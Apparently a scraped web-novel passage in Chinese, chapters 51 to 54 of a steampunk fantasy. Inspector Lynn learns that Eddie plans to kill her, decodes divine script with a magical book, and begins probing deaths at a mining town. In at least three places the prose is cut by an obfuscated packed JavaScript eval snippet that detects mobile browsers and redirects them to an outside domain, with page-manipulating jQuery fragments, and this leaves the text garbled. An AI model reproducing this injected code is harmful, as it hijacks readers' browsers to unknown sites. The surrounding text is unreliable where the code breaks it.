呼啸而过的凛冽北风昭示着,矿场的冬季逐渐来临。 林恩披上了最厚实的外衣,堪堪挡住肆虐的冷风。 她的行李已被列车员搬上了马车,即将驶向他们此行的下榻酒店,也是绯通亚矿场唯一一家像样一些的酒店。 钻石旅店。 林恩弯腰下了马车,吐出一口热烘烘的白雾。 她望着这座略显庞大的银色招牌,一边打量着出入旅店的客人。 这家旅店收费1金塔拉一夜,愿意支付的客人似乎来自碎金城,因为都持有王都的口音。 他们往往都装束高雅,大多穿着私人定制的羊绒毛呢大衣。 林恩猜想,这些往来矿场的客人,要么是矿业公司的管理者,要么就是他们的供应商。 “房间在三楼。” 艾迪快步跑来,手里抓着几枚钥匙。 “审查官,您不进去吗?” “来了。” 林恩吸了吸鼻子,一边提上公文包。 酒店的陈设虽然老旧,但很干净整洁。 林恩甚至在柜台拿到了一份油墨印刷的小镇简介,上面详细介绍了镇上的每一家店铺。 踏入升降梯时,她仍旧盯着看。 艾迪拉上两层铁门,作为地位最低的人,他开始自然地摇动升降梯。 “写了什么内容?” 莱亚问出了艾迪想问的话。 “我看看。” 林恩翻到第一页,挑了些重点跟二人说道,“小镇一开始是为了矿场的工人居住所需,后来他们娶妻生子,逐渐在这里定居,也就相应形成了规模。” “也就是说,先有的矿场。” 莱亚还在纠结“先有鸡还是先有蛋”的问题。 林恩扫了他一眼,继续念:“镇上有一家规模很大的杂货店,可以买到绝大多数您需要的商品;三家旅馆、两家餐厅,以及酒铺。” 这一点也不难理解: 在严寒时节,辛劳的工人们用酒精御寒、以及用酒精麻痹自己,都是很合理的。 升降梯发出“叮”的响声。 “总之,绯通亚镇可以买到不少东西。”林恩草草收尾,率先下了升降梯。 她需要回房睡一觉,紧接着去购置一件保暖的衣服。 还要去找本地治安官和二号矿坑负责人。 一想到即将发生的几件事,林恩就有些头大。 她甚至想要乘车返回碎金城,跟阿曼达审查官说自己不干了。 算了,现在不是任性的时候。 林恩叹了口气,依次打开行李箱,将自己的私人物品一件一件摆出来。 不适应气候的衣物、一些护肤品、空空荡荡的日记本和那本《神谕文翻译》,以及—— 林恩取出匣子。 这里面是温蒂·奇塔的神奇发明,她已经更换好崭新的瓦斯能源。 “回声一号”的体积小,且相当扁平,可以轻易从门缝下钻过去。 她放在手中把玩了片刻,忽然听见隔壁窸窸窣窣的交谈声。 是莱亚的房间。 这里没有别人,他在和谁讲话? 林恩摩挲了一下“回声一号”,意识到这是千载难逢的实验机会。 她蹑手蹑脚地打开门,从门缝里把机械甲虫塞了进去,又操控它径直向前爬行。 如果两个房间的布局相同,那么甲虫此刻应该安全地躲藏在衣柜底下。 耐心等待了片刻,隔壁房间的声音总算消失。 锁舌“啵”一声弹开,又被轻轻合上。 费了些力气,重新把甲虫回收以后,林恩迫不及待地使用“记忆宫殿”。 甲虫里记录了两个声音。 一个是房间的主人,莱亚·古德温上校;另一个,则是意料之外、情理之中的艾迪·穆德。 莱亚:“你是来监视我的吗?” “你想多了。” “威利斯先生派你来的?” 艾迪哼笑:“并非如此,我劝你也不要乱猜。自从威利斯先生发现你协助旁人偷偷潜入八级神殿之后,他就知道你不再值得他信任。” 林恩面色微沉。 威利斯终究还是知道了…… 看来“回溯”信徒与神学院的关系,算得上紧密。 莱亚道:“既然并非监视我,那就是为了监视审查官了。” 艾迪但笑不语。 莱亚的推测仍在继续:“你好奇的并不是亨特的工作内容,而是她本人——你想近距离观察她,观察这个完美的替身玩偶,是吗?” 艾迪的声音像是从牙缝里挤出来的:“闭嘴。” “你害怕了。” 莱亚的声音几近嘲笑,“赶走的并不是康纳利的灵魂,这是第一个失误;换来的林恩·亨特,比你想象中机敏更多,她逐渐失控,这是第二个失误。” “我说了,闭嘴!” 莱亚不再多言,只冷哼了一声。 艾迪自言自语:“一切都不会失控……杀了她,一切都会恢复正常。” 他转向莱亚,“杀掉林恩·亨特,我帮助你晋升七级信徒,这不是你一直想要的吗?” “哧。” 莱亚只觉得荒唐,“杀人?你苦思冥想的解决方法就是杀人?” “你不愿意?” 莱亚摇头,语气唏嘘,“这样下去,你会变成出色的刽子手,而非杰出的领导者。我话已至此,您自己考虑吧。” …… 林恩的血液几乎凝固了。 信息太多,她一瞬间无法理解,只是盲目地听着二人交谈。 她后知后觉地意识到,他们谈论正是自己。 艾迪·穆德,不仅仅是“国王”的儿子,也是潜藏在国民卫队许久的未注册信徒“替身玩偶”。 她的穿越,也并非命运的随机,而是出自于失误的艾迪:他本想替换康纳利的灵魂,却阴差阳错替换掉了“林恩”的。 ——也就是说,从一开始,艾迪就知道她是个冒牌货! 林恩浑身一颤。 难怪他友善得近乎诡异! 林恩一开始以为,艾迪·穆德是被幸运女神分配给自己的新手指导NPC,却没想到他才是她悲惨命运的始作俑者! 他甚至还想杀掉自己! 该死的。 这样下去不行。 艾迪·穆德已经对她动了杀心,甚至撺掇莱亚·古德温动手。 碎金城内,本就有虎视眈眈的“暗杀者”,现在又加上了艾迪·穆德,很显然,她完全不该在这个时候返回碎金城。 她该怎么办? ——反杀回去? 林恩一言不发,粗略地计算这种可能性,却最终意识到成功率低得可怜。 艾迪身为理查德四世的子嗣、虎视眈眈的王座竞争者,曾属于理查德四世的党羽——包括五级信徒、“博学者”詹姆斯·威利斯,都会誓死保护他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517025|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更何况,林恩更大的目的并不是“复仇”,而是回到原本的躯体里。 或许只有始作俑者,才知道如何更换灵魂。 为此,林恩无论如何也要咽下这口气,把愤怒与仇恨默默塞回肚子里。 只不过,尽管林恩无法直接对艾迪不利,却并不代表其他人不行。 她眯起眼,在脑中仔仔细细将“血色九月”的事件梳理出来,试图在其中安插一个恶人“理查德四世”的位置: 玛格丽特国王一旦知道了艾迪·穆德的身份、并且知道了安妮王后的刺杀着,绝对不会善罢甘休。 还有首席审查官,她一直都对“替身玩偶”耿耿于怀,倘若她知晓了艾迪·穆德就是那位未注册的信徒,大概会动用全部力量将他捕捉入狱,换取功名。 甚至…… 康纳利审查官的死,甚至也可以推给艾迪·穆德,以及他身后的理查德四世的残党。 林恩一边思考着,下定决心给艾迪使点绊子。 门忽然被扣响。 指关节短促地击打在门板上,让林恩瞬间弹跳起来,飞速将“回声一号”收进原本的匣子里,又一把塞进口袋里。 “谁啊?” 干完这一切,她这才开口询问。 “审查官,是我,艾迪。” “替身玩偶”的声音依旧清澈明朗,丝毫听不出心怀鬼胎。 林恩只觉得毛骨悚然,却又不得不捏了捏面颊,勉强露出惨淡的笑脸。 她一把拉开门: “什么事?” 艾迪依然是那副光风霁月的模样。 “我来铁恩郡的任务,是将这里的飞艇驾驶回碎金城,所以我现在得去一趟治安所。” 他的目光一直黏滞在林恩身上。 “审查官,您要一道去吗?” “不要。” 林恩摆了摆手,满脸不耐地瞪他,佯装出不求上进的态度。 “刚来第一天,这么拼命做什么?国民卫队也不会给你多发一枚铜伊索。” 艾迪的眼珠里透露出一丝鲜少存在的不解。 “您就这么看重钱?” “你今天到底怎么了?一直在说一些屁/话。” 林恩颇为粗鲁地回复道,一把抓住门把手,“谁爱去谁去,我要留在房间里睡觉,你少管我。” “……” 艾迪有些惋惜:“好吧,我们回头再见。” 迎接他的,是一扇迅速紧闭的大门。 看来,现在的林恩·亨特经过了金钱的熏陶,也并没有什么威胁性。 她也不过是个爱慕虚荣的普通人。 艾迪瘦削的脸颊上,露出一点微弱的兴致,随后从口袋里掏出一封刚刚得到的信笺。 纯白色的信封背面,用深红色火漆印下一枚滚圆的圆形印章,所雕的花纹并不少见。 那是土狼与蒸□□的组合花纹,中心一并粘上一根细细的青木花。 这是朗氏矿业公司的信。 【尊贵的M先生, 许久未见,您近来可好? 此前安排您曾与我已故的弟弟会面,可惜当天早晨发生的爆炸案带走了他短暂的生命,也未能让您知晓详情。 我今日特意备了丰盛晚宴,诚挚邀您光临波连街16号。这是我的一处私人住宅,不必忧心隐秘性与安全性。届时我会当面细说异种生物事宜。 愿索尔沃保佑您, 西斯·朗】 52. 绯通亚矿场(三) 送走艾迪后,林恩短暂休整了片刻,决定立刻给碎金城的白琳写信。 尽管拥有两只可以快速通信的机械信鸽,但林恩觉得这种传递信息的方式不够安全—— 尤其是,她已经被不止一波人盯上。 将“血色九月”的真相交给白琳,是林恩深思熟虑过后的选择。 白琳不仅知道真相,并且还值得信任;即便,她也属于“神学院”。 林恩从公文包里取出空白信纸和空信封,以及随身携带的审查官便携钢笔,一并摊开放在桌上。 纸张有些薄,她顺手拽了本空白本子,垫在信纸下面。 【亲爱的白琳:】 她提笔写了开头,就不得不停了下来。 墨水有些卡顿,或许是墨囊即将耗尽,也或许是颠簸了一路造成损坏。 林恩拆开钢笔的铝制外壳,对着墨囊研究了片刻,索性一不做二不休地暴力拆开—— 黑色墨水从笔杆里喷射而出,如刚打开的香槟一般水花四溅。 “……” 真该死,迟早得把这支笔换掉。 林恩抽出手帕,擦拭着脸上的黑色墨迹,又拿起抹布收拾起桌面: 信纸完全没法用了、信封也一样。 公文包溅到了几滴墨水,好在它原本就是黑色帆布材质,影响不大。 空白的垫纸本—— 林恩的视线忽然停滞下来。 空白的垫纸本干干净净,完全没有被墨水溅到?! 这不合理! 林恩用沾满墨水的脏手抓起它,一边翻看着封面。 这是从特兰郡找到的那本《神谕文翻译》! 林恩大惊失色地反复检查,终于意识到它果真没有沾染上任何一点污渍。 甚至,她手指上残留的墨水,也没能在纸页上留下痕迹! 反复试验了几次,林恩终于得出一个结论: 这本书……能够吸收墨水进去?! 等等—— 这也就意味着,她可以在上面写字! 林恩想也不想,立刻掏出另一支备用钢笔。 【我是林恩。】 她一笔一画地写道。 墨水瞬间被吸收,随后,另一行文字缓慢浮现出来: 【NimmenuLynn.】 盯了许久,林恩在那一团繁复的花纹里,依稀分辨出了这几个字母。 没错! 这是神谕文没错! 原来这才是《神谕文翻译》的使用方法! 林恩眼睛亮了亮,立刻使用“记忆宫殿”,翻找到康纳利日记本的第一篇神谕文日记,花了些时间把图案的形状背了出来,又在《神谕文翻译》上原封不动地誊抄进去。 这一次,似乎是内容过于繁杂,解析花了些时间。 林恩约莫等待了半小时,内容才一点一点出现: 【保罗,许久不见了。 原谅我不得不用这种方式记录这些内容。詹姆斯·威利斯的异能令我畏惧,5级“博学者”,让他可以轻易窥探世界上的所有文字,让我意识到我的日记本也不再安全。 好在,他不认识神谕文,我又使用了“光明之笔”,大概能瞒一阵子了。 言归正传,最近我奉命追查血色九月,追查到了现存最高等级信徒:二级信徒戈雅的痕迹,他似乎在浅湖宫寻找到了晋升一级信徒的方法。 而此前,戈雅只在蚀日联邦活动。 等手头上的事情干完,我会辞去国民卫队的工作,前往蚀日联邦。那里信仰诺克斯女神,我作为信徒也没有必要畏畏缩缩,是个更适合我的地方。】 文字到这里就结束了。 林恩记下另一段文字,翻译书却像是遭遇了卡机,完全无法继续运转。 大约是一次翻译的内容有限,这本《神谕文翻译》需要足够的时间恢复能量。 不过今天获得的信息也足够了。 一,《神谕文翻译》的用法,即为将内容摘录上去,会自动得到答案; 二,“博学者”詹姆斯·威利斯的异能相当有威胁,他可以窥探到任何纸质材料,因此任何书信都有可能泄密; 三,浅湖宫出现的信徒“戈雅”,似乎在寻找晋升一级信徒的办法; 四,蚀日联邦,可以成为所有信徒、包括林恩自己的退路。 总结完这些,林恩原本写信给白琳的念头也被打消。 在寻找到更加合适的通信方式之前,她大概都没有办法传递信息了。 林恩甚至怀疑,莱亚·古德温对“博学者”詹姆斯·威利斯的异能多少有些了解,否则他也没有必要每一次因为一点小事都亲自上门拜访。 罢了。 林恩叹了口气,彻底无计可施。 她暗自发誓: 倘若有机会,她一定要处理掉詹姆斯·威利斯——这个人的威胁太大了! 眼见着天色渐暗,一事无成的林恩终于决定外出购置一些厚实的衣物: 她需要的衣物并不少,毛衣、贴身保暖衣、厚实的外套,还得再买一双防水防寒的皮靴。 在出发之前,林恩依旧穿上她的卡其色厚外套,又将阿曼达·德·波尔赠送的银白色蒸汽手/枪安上弹夹,塞在腰间的枪套内。 绯通亚镇不比其他地方。 尽管在这里生活的大多数居民是矿场的工人,但也难免有一些投机取巧的强盗、掩人耳目的劫匪,以及醉醺醺的疯子。 一边思考着,林恩一边走出钻石旅店。 天色已经暗下来,想必不久之后,气温会降到冰点。 林恩依据旅店的手册,就近找到一家“威尼斯”服饰店,这也是镇上规模较大的服装店。 和碎金城的时装店不同,这家店没有玻璃橱窗以及木质假人模特,只有一块木质招牌,用油墨写上店名,随意地摆在室外。 林恩推门而入。 “欢迎。” 懒洋洋的声音从木质柜台后面传了出来。 声音的主人是一位中年女人,圆嘟嘟的面颊上戴着缺氧的红色,鼻尖架着玻璃老花镜。 将客人从头到脚打量了一遍,她才站起身,语气热络了些。 “新来的?我叫简·威尼斯,是这家店的老板。” “唔,您好。” 威尼斯指了指正中央的一件衣服,“想试试这件吗?东格林郡的上好羊绒编织的连衣裙,被翠羽花汁染成的天然颜色,触感很细腻的!” 她压低了声音,朝林恩挑了挑眉。 “蓝音符的夜莺也买了一件一模一样的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林恩本就不挑剔,加之店内的衣物质量也在线,她迅速选好了几件。 其中的两件外套,她格外心动: 衣服里里外外的口袋多得不计其数,刚好可以放下她一大堆稀奇古怪的东西。 “一共29银币。”威尼斯女士拨弄着齿轮计数器,一边计算出金额。 这个价钱比林恩想象中的划算多了。 林恩干脆地付了钱,又吩咐威尼斯女士直接送到钻石旅店里。 “没问题!” 威尼斯女士眉开眼笑,“客人,您这是打算去吃饭吧?” 林恩收好钱包,抬头问她:“有什么推荐吗?” “我们这里只有两家店。花墙酒吧的环境更华丽,菜式也更新奇,当然您可以想到,价格也更贵。” 简·威尼斯手脚麻利地打包衣服,一边补充。 “不过呢,我更喜欢老农夫酒馆,食物新鲜好吃,价格实惠,还没有那些大人物。” 没有大人物…… 在威尼斯女士口中,这似乎是个优点? 林恩:“大人物很令人生厌吗?” “当然啦!”威尼斯女士翻了个白眼,“喜欢对年轻貌美的客人动手动脚,喜欢胡乱喧哗,还会把我们赶到昏暗的角落、不准我们发出声音。总之,我一点都不推荐!” 回想了在“钟与美人”的遭遇,林恩瞬间感同身受了。 她应和道:“您说的不错,对于眼高于顶的人,远离绝对是个不错的主意。” 她已经下定决心,前往“老农夫酒馆”。 53. 绯通亚矿场(四) 老农夫酒馆。 由于地处工业区,绯通亚镇的瓦斯比其他城镇昂贵,因此夜晚的小镇只亮着星星点点的几盏灯。 老农夫屋外燃着煤炉灯,照亮了黄铜花体的店名。 尽管外观质朴,但这家酒馆的规模其实很大,并且客人络绎不绝。 林恩选择这里,不仅仅是为了填饱肚子,还想借着本地酒馆的东风多打听一些小镇的信息。 她特意挑选了吧台的位置坐了下来。 身穿朴素灰红色格纹衬衣的酒保指了指身后的黑板,“需要点单就喊我。” 说罢,他又开始擦拭钢制啤酒杯。 黑板上的字是用粉笔写的,潦草且模糊,有些难辨认。 【-今日供应- 牧羊人馅饼5铜伊索 羊肉腰果派7铜伊索 烤牛肉每盎司1铜伊索 奶酪拼盘(赠送面包)3铜伊索 腌黄瓜1铜伊索】 林恩的菲力牛排需要8铜伊索,随餐赠送一小块土豆泥和几块莴苣。 酒保问,“需要喝什么?” “一品脱的淡艾尔。” 酒保努了努嘴,“糟糕的口味,不过我不会挑剔你的选择。” ? 你已经在挑剔了好吗! 林恩苦笑了一声,“那您推荐什么?” “本地的波特啤酒,或者是麦芽酒。”酒保用笔杆点了点黑板,“这两个都比淡艾尔好喝。” 林恩大手一挥:“那就波特啤酒吧。” 她反正也不是为了喝酒,完全不在乎喝到什么。 更何况,两者的差价只有1铜伊索,这一点价格她也不放在眼里。 “好的,很快就上菜。” 酒保走到木桶前,用钢制啤酒杯接了满满一杯波特啤酒,放在林恩面前。 “来,尝尝吧。” 在他期待的眼神中,林恩大口喝了一口。 ——一股啤酒味。 非要说的话,能尝得出来,是很新鲜的啤酒。 “嗯,很不错。麦芽的独特风味增添了一点层次感,我喜欢。” 她违心地说出一连串夸赞。 酒保沾沾自喜:“当然,波特啤酒就是最好喝的!” “阿塔里,你又在推销你那该死的波特啤酒了!”粗犷的声音从吧台另一侧冒出来,哈哈大笑的是与酒保熟识的工头巴里,“给我来一打淡艾尔,快点!” 酒保阿塔里睨了他一眼,一声不吭地接过他手里的铜币,又从另一只酒桶里倒了满满一扎淡艾尔。 老巴里啜了一口,故意发出声响。 “真迷人啊。” “你每天也就这点乐趣了,没有品味的家伙。”阿塔里臭着脸说道。 “是啊,我的乐趣就是喝酒,外加让你不开心。”老巴里乐呵呵的,“干我们这行的,就应该当天有钱当天花掉,否则我的遗产就全进我老婆的口袋啦!” 阿塔里撩开眼皮看他,“最近又怎么了?” 他对老巴里熟悉的很,一定是出了什么人命,他才又开始嘟嘟囔囔—— 平日里,这老伙计就是一毛不拔的铁公鸡,绝不会花钱来酒馆里喝啤酒。 林恩切割牛排的动作逐渐慢了下来。 她隐约觉得,这两人似乎要讲到重点了。 “能有什么事,还是这么些事情。” 老巴里几句话敷衍了过去,埋头吃着他的牧羊人馅饼,一边对面皮吹毛求疵。 阿塔里清楚,清醒时这群人总不爱吐露心声,非得等到醉醺醺的时候,这些话才会一点一点冒出来。 林恩对此一无所知,甚至有几分遗憾。 还没等到她放下刀叉,身侧的位置就瞬间被占了。 莱亚·古德温坐了下来。 “吃独食啊,审查官。” 他侧头看了林恩一眼,又招手示意酒保,“我要一份奶酪拼盘,以及羊肉派。你们这里有威士忌吗?再来一杯威士忌。” “不喝啤酒?” “不喝。” 的确有这样的客人,不喜欢低度的啤酒。 阿塔里只觉得有些可惜,却也没有继续多说什么。 “一共15铜伊索,先生。” “这位女士付钱。” 莱亚指了指林恩,“这是我的老板。” “……” 林恩咬牙切齿,“你再给我胡说八道试试呢?” 话虽如此,想到是自己“强迫”莱亚前来协助,似乎也理应负担他的伙食费。 林恩不得已从口袋里掏出3枚5铜伊索硬币,放在吧台上。 “在这里。” 些许工夫,老巴里的脸已经喝得红彤彤的,甚至有些口齿不清。 “包养小白脸啊……这可太常见了!尤其是你们碎金城,想当年我在王都,也被一位有钱的夫人看上了。” “少吹牛了,巴里。” 众人哄堂大笑,“我们又不是没见到过你年轻时候的长相,完全是一头狗熊!” 莱亚刚想说什么,就被林恩拦了下来。 她微微俯下头,低声说,“似乎老巴里遇到了点情况,我们等等看,先别打扰他讲话。” 原来是这样。 莱亚本觉得,林恩坐在这里听小镇琐事的行为相当异常;不过若是为了探查矿场信息,那也就合理多了。 林恩猜的果然不错,没过多久,老巴里就开始怨声载道。 “我原本就觉得,那些可恶的资本家不把人命当回事,现在更是这么觉得了!” 他唉声叹气, “最近的矿井,是越来越难挖了!你知道吧,从半年前开始,矿场死的人就变多了。” 阿塔里也蹙眉:“什么意思?” “字面上的意思。”老巴里咕嘟咕嘟喝着啤酒,“矿井越挖越深,似乎难度也越来越大,我都怀疑是不是挖到什么脏东西了。” 酒保问:“他们都是怎么死的?” “窒息……还能是怎么死,要么整个矿坍塌,要么就是窒息而死,没有旁的死法了。”老巴里说着,一边敲了敲酒杯,示意再来一扎。 林恩原本以为是噬土畸体作祟,但听到死因为“窒息”,却又忽然犹豫了。 布鲁的死亡,大概率不是因为窒息。 起码在死亡之前,布鲁的异状就已经相当明显了。 难不成单纯是矿井下氧气不足导致的? “算了,老巴里,您差不多也可以退休了。”酒保阿塔里劝道,“您赚得钱足够用了,不是吗?” “不瞒你说,我最近正在考虑呢。” 老巴里愁眉苦脸,“但是我的家就在绯通亚,我没有别的事情可做。” 两人的交谈仍在继续,却没有其他重要的信息点了。 林恩将杯中的啤酒一饮而尽。 老巴里所说的不错,死亡人数的确很重要。 虽然矿场一直有工人死亡,但某段时间的死亡人数激增,一定暗示了隐藏的真相。 “哦对了,你的那位飞艇驾驶员呢?”莱亚问道。 艾迪·穆德? 林恩似笑非笑地盯着杯子,只觉得他俩假装彼此互不相识的模样分外好笑。 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“还有,你听说过长岸镇吗?也在铁恩郡内。” 见林恩摇头,他才解释起来: “铁恩郡的信仰比较复杂,但是长岸镇和龙骸郡一样信仰女神诺克斯,因此也聚集了很多信徒。” “聚集?是因为神殿吗?” “铁恩郡据我所知只有一座九级神殿,这不是重点。” 莱亚摇头,“重点是,长岸镇有信徒集市,说不定能购买一些好东西。” 他讲得有些兴奋,不禁抬高了点声音:“武器、书籍、秘闻,甚至是稀有的超凡物!” “超凡物是什么东西?” “你连超凡物都不懂?看来康纳利还真是什么都瞒着。” 莱亚叹了口气,不得不老老实实解释。 “你有没有想过,当信徒死亡之后,会发生什么?” “死亡不就是死亡?” 林恩有些不解。 “不完全是。在信徒的尸体上使用囚禁药剂,他们原本的异能就会被封锁起来,最终变幻成一种随机的异能物品,也就是我说的超凡物。” 林恩听得一愣一愣。 “等等……你的意思是说,人死后会变成一样物品?只要你使用了囚禁药剂?” “听起来很荒诞,但的确如此。” 林恩瞬间就想到了她的老师。 “那康纳利——” 莱亚明白林恩的意思。“他应该没有变成超凡物。” 对此,他有九成以上的把握,“因为康纳利是被夜魔杀死的,夜魔会直接击碎他的异能。因此,即便对他使用囚禁药剂,康纳利的尸体也不会有任何变化。” “我明白了。” 林恩端起水杯,喝了一口。 她在思考一件事: 康纳利葬礼上,她杀死的那个信徒“迷惑之声”—— 如果那个时候拥有了囚禁药水,是不是她也可以拥有一件超凡物? 可惜了。 不仅知道的太迟,甚至手头也没有囚禁药剂。 想到这个,林恩歪了歪头,“囚禁药水很难获得吧?” “很难,据说新阿尔卡迪亚总共也没有几瓶。”莱亚耸肩,“也不是坏事,否则你有可能随时会惨死。” 这话倒也没错。 54. 绯通亚矿场(五) 风险太大的事情,林恩不乐意干。 她悄悄排除了这种可能性,继而又问:“信徒集市上能买到吗?” “你可以碰碰运气。”莱亚想了想,“只不过,威利斯先生分发的药剂并不是什么上好的玩意儿。据说,成功率也只有两成,所以你别报太大希望。” 才两成? 这也太低了! 林恩道:“也就是说,我就算买到了,也有可能不起作用是吗?” “不仅如此,即便是起了作用、尸体真的变成了超凡物,有概率你一辈子都发现不了这东西怎么用——” 莱亚调侃道,“毕竟,它也没有说明书。” 嗯? 此番描述,反而让林恩想到了一件物品: 《神谕文翻译》。 它就“没有说明书”,发掘用法完全依靠幸运女神眷顾。 不仅如此,康纳利的那句话分明在暗示! ——保罗,许久不见了。 也就是说,这本“翻译书”所蕴含的异能,属于已故的信徒“保罗”! 莱亚又点了一份奶酪拼盘。 他往嘴里塞了一小块帕玛森干酪,又低声问林恩:“审查官,接下来您打算怎么调查?” “不管怎么说,我都得去一趟治安所。” 林恩道,“迈克尔·罗伯特究竟是否像传言说的那样贪财好色,还不是很确定。更重要的是,如果我什么都不做,反而会令人怀疑。” “说的也是。” 林恩叹了口气,“希望我能活着离开绯通亚矿场。” 说罢,她从莱亚盘子里拿起一枚无花果干,咔嚓咔嚓咀嚼着。 “不要这么悲观,审查官。” 莱亚慢条斯理地说道,“希望您得偿所愿。” 他似乎完全把艾迪的“暗杀请求”遗忘。 == 按照前一夜所说的那样,林恩在第二天一早就动身前往绯通亚矿场的治安所。 它位于矿场和小镇的中间点,距离并不近,步行前往并不现实。 不过,便利的铁路线将它囊括进去。 这个名为“矿镇线”的铁路,是为矿场的工人来往通勤修建的,陈旧且生锈的铁皮包裹着层层叠叠的工人,像是农场运送成熟的牲畜。 车票只需要一铜伊索。 没有什么“特等座”,似乎上了这条线,就注定了低人一等。 林恩挤进带着汗臭味、呛人的烟味与硝烟味混杂的车厢,耳边是铁轨撞击的金属声,以及嘈杂到近乎耳聋的人声。 据说,矿场里的爆破声损伤了工人们的听力,让他们没有办法像普通人那样低声讲话。 或许,这条传言和现实相符。 一边思考着,矿镇线在治安所停了下来。 林恩从层层叠叠的人群中挤了出去。 面前的治安所,是栋赭红色的二层小楼。 周围没有建筑物遮挡,林恩的视线穿过空空荡荡的平地,一眼识别出一架孤零零的残破飞艇。 飞艇还在,起码说明艾迪·穆德还没离开。 林恩心想。 自从昨天下午分别,林恩就特意注意过艾迪的房间。 他没有返回钻石旅店,老农夫酒馆里也没有出现他的身影。 ——难不成,他一个人去了“花墙酒吧”? 不,还有一种可能性。 他是被人邀请的,地点或许是花墙酒吧,或许是“蓝音符”,还有可能是邀请人的私人住宅。 一边思考着,林恩一边推开治安所的大门。 “我来找你们的治安官,迈克尔·罗伯特先生。” 她学着威灵顿审查官的口吻,高高在上地发了话。 虽然其貌不扬,但林恩这副腔调着实有些唬人。 治安员立刻站起身,刚准备往办公室走,忽然又想起询问。 “女士,您叫什么名字?” “林恩·亨特,审查官林恩·亨特。” 她带着客套的笑意说道,从包里掏出一份印着国民卫队徽章的文件,静悄悄地摆在桌面上。 小治安员惊讶地立刻奔跑起来:“我立刻禀报治安官先生,您稍等。” 治安所里的每一个人,都早就听说碎金城的审查官会前来他们治安所调查。 只不过一开始,他们都没有当回事。 绯通亚治安所,从来没出现过什么乱子,凭什么会吸引来审查官呢? 只不过,国民卫队的审查官活生生出现在眼前时,大家才知道,传言并不虚假。 治安员提姆敲响治安官办公室大门时,迈克尔·罗伯特正一边听着留声机,一边盘弄他的宝石戒指。 “治安官,那位审查官来了。”提姆来不及说别的,一股脑儿把刚刚经历的事情全都说了。 “一位年轻的女人,名字叫林恩·亨特。” 迈克尔·罗伯特内心多少有些慌张,但他硬生生憋住自己的情绪,从沙发上坐起身。 “人在哪里?” “就在大厅坐着。” 迈克尔·罗伯特将戒指戴回粗胖的食指,又把胖脚重新塞进撑得松垮垮的皮靴里。 “那就让我来会会她吧。” 他故作镇定地说。 仅是一眼,林恩就意识到迈克尔·罗伯特一定是个胸无大志的草包。 他的愚笨不仅写在那张白胖如未烘烤的发酵面团的面孔上,还写进那双黄豆大的眼睛里。 几乎是瞬间,林恩就想好了应付他的办法。 “啊呀,亨特审查官大驾光临!”治安官罗伯特夸张地感叹起来,“您怎么不通知我一声,我好来旅店接您!” 一边说着,他一边伸出手,紧紧握住林恩的手。 林恩蹙眉,盯着两人相握的手: 罗伯特手指上,有一枚黄金戒托、镶嵌红宝石的巨大戒指,硌着她的手心。 绯通亚镇的治安官,有钱购买这样昂贵稀有的珠宝? 林恩冷酷的视线扫过罗伯特的手指,又紧盯着他的双眼,直到此人两股战战,几乎要跪地。 迈克尔·罗伯特冷汗直冒,立刻意识到林恩的视线所在。 “哎呀,小小礼物不成敬意。” 他瞬间就把戒指摘下来,不由分说地塞进林恩手心,“审查官,您就收下吧。” “让我想想……罗伯特治安官,您是在贿赂我吗?” 林恩双手抱胸,挑眉看向他。 “您的意思是,您想让我变成跟您一样的人,是吗?” 罗伯特的脸色一下子发青。 他发现自己哑口无言。 “不……不是的,女士,我只不过……” 林恩双手叉腰,刚好露出腰间的蒸汽火/枪。 “在工作的时候,我希望你喊我审查官。” 她一字一句地说。 “好的,审查官。” 罗伯特抽出手帕擦了擦额头上的汗,又问道,“您这次来,是想调查什么事?需要我提供哪些帮助?” “我不会特意为难你的,治安官。” 林恩擅长打个巴掌给个甜枣,“我需要调查绯通亚小镇与矿场的人员档案。” 呼。 迈克尔·罗伯特悄悄松了口气。 “是因为藏匿着某个罪犯吗,审查官?” 林恩看了他一眼,意识到罗伯特的胡思乱想或许可以变成完美的借口。 她故意生硬地岔开话题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529339|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,假装自己被戳穿。 “治安官,我建议你不要知道太多,对你不好。” 看她的反应……一定是了! 罗伯特沾沾自喜地想着,一边从口袋里掏出钥匙,“审查官,这是档案室的钥匙,您可以进去调查。” 他搓了搓手,“对了,首席审查官对我的工作,应当没有意见吧?” 林恩接过钥匙,似笑非笑。 “我可不敢揣度首席审查官的想法,不过只要您不犯错,她就自然不会有意见。” 罗伯特唯唯诺诺地点头。 林恩基本已经确定,罗伯特一定在矿场里收了不少好处。 但这件事也轮不到她追究,她只要睁只眼闭只眼就好。 虽然地头蛇很懦弱,但尽量不要招惹。 她使用钥匙打开了本就松动的门锁,小心观察着这间空旷整齐的档案室。 艾迪·穆德曾经提醒过林恩,不要成为王国的通缉犯,因为普通人很难逃脱得掉国民卫队的追查。 这句话有多少恐吓的成分,林恩并不清楚。 只不过,在面对如此庞大细致的人员档案时,林恩总算是意识到,艾迪并非毫无可取之处。 新阿尔卡迪亚王国,似乎对公民的个人档案相当重视。 不过也好,给林恩节省了不少时间。 她并非想要追查什么子虚乌有的矿工,而是为了调查绯通亚矿场的死亡人数数据。 刚巧,档案室里完好地记录着。 